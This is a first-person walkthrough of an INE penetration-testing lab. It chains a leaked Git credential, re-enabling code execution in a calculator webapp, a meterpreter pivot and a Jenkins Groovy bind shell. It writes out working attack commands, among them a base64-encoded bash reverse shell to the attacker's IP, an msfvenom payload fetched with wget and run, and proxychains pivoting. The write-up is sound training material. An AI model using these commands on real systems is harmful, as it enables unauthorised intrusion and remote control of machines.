INE - BlackBox2


This box was a significant step up in difficulty from BB1. Overall, it required editing code from an insecure Git repo to re-enable RCE on a vulnerable webapp, which then gave access to a machine that could reach the second network. Here, the second machine was running Jenkins, and an arbitrary code execution using a Groovy script was used to bind a shell. Critical to many pen-testing encounters, this enviroment required some pivoting (proxying) to reach all boxes. Like the previous run, I will only comment on the successful attempts to exploit the machine, but please note there were many and many failed attempts. Some notable will be explained.

Enumeration

I first ran a quick ping sweep with nmap to check which machines were reachable from my box. This showed me one host at IP: 192.72.81.3 NOTE HERE I had to restart the lab a couple times because of mistakes I made or just timing out as I was doing research, hence the target IP changes a couple times during the process. I will try and remember to note when the changes happen.

NMap

nmap -sS -sV -o -sC 192.72.81.3

Three ports were open, 80, 5000, and 8000. Port 80 was simple the Apache frontend page, so I did not enumerate it further. Port 5000 had a calculator webapp running, and port 8000 had the backend and login page for Werkzeug. Notable from the nmap results with the "-sC" flag for running scripts was the presence of a Git repository with a config file that exposed not only a Git remote repo but also had hard-coded cleartext username and passwords.

Dirb

Next step I wanted to setup and run dirb in the background before I went exploring the webapp and login page. First, I ran dirb against the 8000 port:

dirb http://192.72.81.3:8000/

This confirm what nmap showed me, a .git folder as well as a "console" endpoint. Before I continued on to the next port, I ran dirb again, this time against 8000/.git

dirb http://192.72.81.3:8000/.git

Running against the "/.git" folder shows me two more files available: "config" and "index".

Next, I ran dibr against the 5000 port, with the following results.

dirb http://192.72.81.3:5000/

Nothing extremely interesting here, except for the basic files required for the webapp to run.

Pages

While dirb was running in the background, I loaded up both pages to see what else I could find on them.

Nothing too obvious screamed out at me from the pages. I did some research on how to crack the Werkzeug PIN code, but could not reach the required files needed to create the script to generate the code. Further, the engagement rules stated I had to exploit the WebApp, so I knew I had to focus on the 5000 port.

Vuln Analysis

Git Repo

Now that I had a decent enumeration of the aspects I needed, as per the engagement instructions, I turned my eye to the ".git" folder found. First step was trying to reach it directly through a web browser. As I typed in "http://192.72.81.3:8000/.git/config", firefox tried downloading a file. No issues there, the config file was easily accesible - a fact also known because nmap was able to discover it had a username and password on it.

I curl the config file to my desktop for easy access and reading.

curl http://192.72.81.3:8000/.git/config >> /root/Desktop/gitconfig

As NMAP very easily showed (this speaks to the skill of crafting the right nmap strings!) there is in fact a username and password as well as the link to a git repo for the calculator webapp running on port 5000 (so I assume by the size of this lab).

Now, I clone the git repo onto my desktop.

cd Desktop
git clone http://online-calc.com/projects/online-calc

The git repo has two files in it, an API.py file and an a config.py file. The API file has the actual code for the application. As is common practice with git repos, I decide to take a look at the commit history before diving into studying the code.

cd online-calc
git log

The log was a treasure trove of information, including two mentions to arbitrary file read and one RCE vulnerability.

Dissecting the Git Diffs

Now that I know at one point there was a RCE vulnerability on the webapp that has now been fixed, I open up the API.py code as well as pull up the git diff's to see what was changed and where on the commits where the RCE was fixed. Two interesting things came up.

The first step the devs implemented to block RCE was a simple input validation function, that resulted in blocking any characters not allowed in a hard-coded list of characters. Second, the evaluate() expression would remove from the input string anything with a "" or "/", meaning I would not be able to simply type into the calculator my code. Also in the evaluate function, the call to the input validation function is only a "if not" statement, meaning it can easily be overrid by removing that part of the code - or commenting it out. Please note the error message if the input validation fails:"Invalid expression!"

Exploitation of Host1

Testing changes to "API.py" file

I now have an idea of what I should do to bring back the RCE and get a shell in the system. I first try and edit error message passed to the Input Validation to something inconspicuous - simply changing from "Invalid Expression!" to "Please try a valid expression!" Here, I want to make sure that changes to the git repo will be reflected in real time in the webapp.

Now that the change has been made and saved, I must push the changes to the git repo. Thankfully, the config file I found had hard-coded usernames and passwords that could be taken advantage of - thanks, Jeremy!

Unfortunately, I forgot to take a screenshot of the new error message when I try to type something that gets barred by the input validation.

Bringing back the RCE

NOTE Here, was one of my first mistakes that made me have to rebuild the lab. As mentioned above, there are measures in place to remove the slashes from the input string. I tried, and failed, many times to edit the code to remove this restriction. This probably means I should practice more Python coding! But anyways, my failures led to bricking the webapp twice. A mistake that would definitely require reaching out to emergency contacts if this were a real pen-test - given that I broke the entire webapp.

Since I could not edit the entire evaluate() expression to simply run my code, I decided to edit the "if not" call to the 'isValid' function, virtually removing the Input Validation and bringing back the RCE.

Crafting the payload

The first issue with the payload is the removal of slashes by the evaluate() function, hence I know I must encode the data into a format that does not include any special characters, only those that are allowed by the evaluate function. This is separate from the isValid input validation. Recalling from the course content, a simple method to get around this is to pipe your code into the base64 bin in linux, thus getting out a base64 encoded version of what you need.

Doing a quick search online, I figured I could start a bash shell and initiate a reverse connection to my machine. Following is the info I found on "http://hackingtutorials.org":

I quickly tested it the command by pulling up a nc server and waiting for the connection. It worked! Now I simply have to convert this string into base64, something I can easily do by echoing the command and then piping it to the base64 binary.

echo 'bash -i >& /dev/tcp/192.42.195.2/4444 0>%1' | base64

I now, mistakenly, copied the code in to the calculator expecting it to run fine…but I forgot the webapp runs python, and hence I would have to find a python function that allows me execute code locally. Off again to Google!

A little more digging also showed I had to import the function first, as it (obviously) was not imported in the API.py file, and I had to properly format it to fit in a single line of code, this meant passing the ("os") part of the import as a string.

__import__("os").system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuNDIuMTk1LjIvNDQ0NCAwPiYxCg== | base64 -d | bash")

Notice here I just have to do the process in reverse. First, I pass the base64 string to the function, then I pipe it to decode it with "base64 -d" then I pipe again to bash to execute.

With this payload ready, I open up a netcat listening session. On the same port I passed with the base64 code.

nc -lvp 4444

Now, it was simply a question of pasting the one-liner into the calculator and hitting the evaluate button, and bam!, initial shell established.

Initial shell and flag

With the initial shell established, I first confirm with which user permissions I am running comands and find I am already root, and next I confirm the hostname of the machine, which returns "online-calc.com" which is the DNS name of the machine we were working on. Great. Next, I look for the flag with the find command.

find / -iname *flag*

With the first machine rooted, I have to look for a second machine that is not reachable directly from my computer. I must pivot to get to it. First, I check if there are any useful enumeration tools already installed in this "online-calc.com" machine.

which nmap fping

This was to no avail. I must get a meterpreter shell to the machine, which will also be extremely helpful when pivoting so..to quote Cooper from Interstellar, "No. It's necessary."

Meterpreter shell

With the initial shell created, getting a meterpreter shell should not be complicated. I must first craft a payload and find a way to get it to the new system. Thankfully, we have the option of creating a http server with python, and simply hosting the file we need and "wget"'ing it from the server. So, again to google to look for answers on how to craft the meterpreter reverse shell.

I quickly found this information on how to craft a payload with msfvenom, so all I have to do now is substitute my IP and listening port, start the meterpreter listner, and get the file to the remote system.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.42.195.2 LPORT=3333 -f elf > metshell

I substitute my IP and port and save the file on my desktop under the very creative name of "metshell". Not screenshoted, but you can confirm the creation did not fail or result in unusable code by running the "file" binary and checking if it is really a ELF.

file metshell

With the shell payload created, we now have to get it to the remote machine. This was done with the help of a python http server.

python3 -m http.server 8080

As seen on the right side of the screenshot, there is the metshell file being hosted. NOTE, the output of http.server can be useful to check if a remote system is actually reaching out to you if there is nothing being displayed on screen - in the case of XSS or RCE, etc.

With the file being hosted succesfully, all that is left is to setup the listner and "wget" the file.

use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.42.195.2
set LPORT 3333
run

Now that the listner is listening, we switch over to the remote machine initial shell and wget the payload from my machine. I forgot to screenshot this part.

wget http://192.42.195.2:8080/metshell
chmod +x metshell
./metshell

As seen above, we first wget the file, then make it an executable with "chmod" and finally execute it.

Done, meterpreter reverse_tcp shell established.

Enumeration and exploitation of Host2

MSF Portscanner

With the meterpreter shell established, I now have to figure out what range the second host is in. This is simply done with "ifconfig"

Interface eth0 is running the IP range we are also in, 192.42.195.0/24, but interface eth1 is running a range we cannot reach at 192.37.208.0/24

Now, I first setup an autoroute on the meterpreter shell.

autoroute -s 192.37.208.0/24
autoroute -p

With the route added, I can use the metasploit tcp port scanner to check what other machines are available. NOTE; the engagement rules for this box said I had to exploit an automation tool in the second machine, it also specified I would use a web portal hence I only scanned a handful of ports to speed things up.

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.37.208.0/24
set PORTS 80,443,8080,21,22
set THREADS 50
run

The results showed another machine on IP 192.37.208.3, with port 8080 open. But, we need to be able to reach that target, and our autoroute will not route L7 information. Hence, I did a quick search on msfconsole for other options to proxy through.

search proxy
use auxiliary/server/socks_proxy

With a SOCKS proxy option, I can definetly reach the endpoint I need. I also know Kali comes with different proxying options, but includes by default the easy-to-use proxychains. Hence, I also set my metasploit SOCKS proxy to use the same port as proxychains' default port - this is not necessary but it reduces some unneeded config changes.

set PORT 9050
run
jobs

I confirm the SOCKS proxy is running with the jobs command on msfconsole. Now, to get to that 8080 page. Here, I also forgot to screenshot, but all I did was set Firefox's proxy to SOCKSv4 on localhost, 127.0.0.1 and port 9050, then simply had to type in the address of the host.

Groovy scripting

Bam, it's a Jenkins dashboard! While I have no experience with Jenkins or Groovy scripting, our friend Google has all the answers. The first issue, is that most scripts available on Google are for reverse shells, this obviously will not work because we are proxying into this machine though Host1, and Host2, this Jenkins machine, will have no way to reach my Kali box in another network. So, instead of a reverse shell we simply need a bind shell which we will connect to using netcat. Doing a "Groovy bind shell" search results in the following page, which seems to have exactly what I need. ("https://dzmitry-savitski.github.io/2018/03/groovy-reverse-and-bind-shell")

Now, all that is left to do is to open up Jenkins' scripting tab, located in Manage Jenkins tab, paste the script and run. I also forgot to screenshot this, sorry!

With the bind shell running on Jenkins, we can now netcat to it using proxychains. All we need is the port it will be listening on, which I kept the default from the script above, 5555.

proxychains nc 192.37.208.3 5555

We now have a shell to the second host!